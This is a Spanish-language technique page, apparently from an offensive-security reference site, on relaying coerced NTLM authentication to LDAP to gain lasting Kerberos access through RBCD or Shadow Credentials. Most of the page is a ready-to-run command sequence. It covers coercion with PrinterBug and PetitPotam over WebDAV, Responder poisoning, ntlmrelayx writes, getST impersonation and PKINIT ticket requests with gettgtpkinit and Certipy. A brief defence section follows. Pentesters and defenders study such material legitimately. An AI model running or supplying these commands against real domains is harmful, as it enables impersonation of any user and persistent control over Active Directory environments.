Credenciales

NTLM Relay a Kerberos

Cómo reenviar una autenticación NTLM coaccionada hacia LDAP convierte un acceso prestado de segundos en un control permanente de Kerberos.

Qué es

NTLM Relay a Kerberos toma una autenticación NTLM coaccionada y la reenvía a LDAP del Domain Controller. En vez de abrir una sesión, escribe un atributo del directorio. Ese atributo le da al atacante un acceso de Kerberos que dura.

Cómo funciona

NTLM no comprueba a quién le prueba su identidad la máquina coaccionada. El atacante reenvía esa prueba a LDAP como si fuera la propia máquina. Una máquina puede escribir sus propios atributos en el directorio.

Por la vía RBCD, escribe msDS-AllowedToActOnBehalfOfOtherIdentity para que la máquina confíe en una cuenta del atacante. Por la vía Shadow Credentials, escribe un certificado en msDS-KeyCredentialLink y registra una credencial alterna.

Kerberos respeta ese atributo. Con RBCD, el atacante pide tickets con S4U2Self y S4U2Proxy para hacerse pasar por cualquier usuario. Con Shadow Credentials, pide un TGT por PKINIT. El relay dura segundos, pero el atributo queda: el acceso sobrevive al cambio de contraseña.

El controlador exige firma en LDAP y rechaza el relay que llega por SMB. Por eso el atacante coacciona autenticación por HTTP sobre WebDAV, que no se puede firmar.

Diagrama

Comandos

Coaccionar la autenticación por HTTP sobre WebDAV, para que el controlador no la rechace:

printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<HOST> <IP>@80/relay
PetitPotam.py -u <USER> -p <PASSWORD> -d <DOMAIN> <IP>@80/relay <HOST>

Opcional: envenenar la resolución de nombres para desviar la conexión al listener:

responder -I <INTERFACE>

Vía RBCD. Relayar a LDAP y escribir la delegación; ntlmrelayx crea la cuenta de equipo y muestra sus credenciales:

ntlmrelayx.py -t ldaps://<IP> --delegate-access -smb2support

Pedir un ticket de servicio que se hace pasar por un usuario, con la cuenta de equipo creada:

getST.py -spn cifs/<HOST> -impersonate <USER> -dc-ip <IP> <DOMAIN>/<HOST>$:<PASSWORD>

Vía Shadow Credentials. Relayar a LDAP y escribir la credencial alterna:

ntlmrelayx.py -t ldaps://<IP> --shadow-credentials --shadow-target <HOST>$ -smb2support

Obtener un TGT con el certificado por PKINIT:

gettgtpkinit.py -cert-pfx <FILE> -pfx-pass <PASSWORD> <DOMAIN>/<HOST>$ <FILE>

Automatizar la escritura y el PKINIT con Certipy en un solo paso:

certipy shadow auto -u <USER>@<DOMAIN> -p <PASSWORD> -account <HOST>$ -dc-ip <IP>

Cómo defenderse

Exige firma y channel binding en LDAP: el controlador rechaza la autenticación relayada y cierra el bypass por WebDAV.

Siguiente

Puedes seguir leyendo aquí:

CredencialesNTLM Relay

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.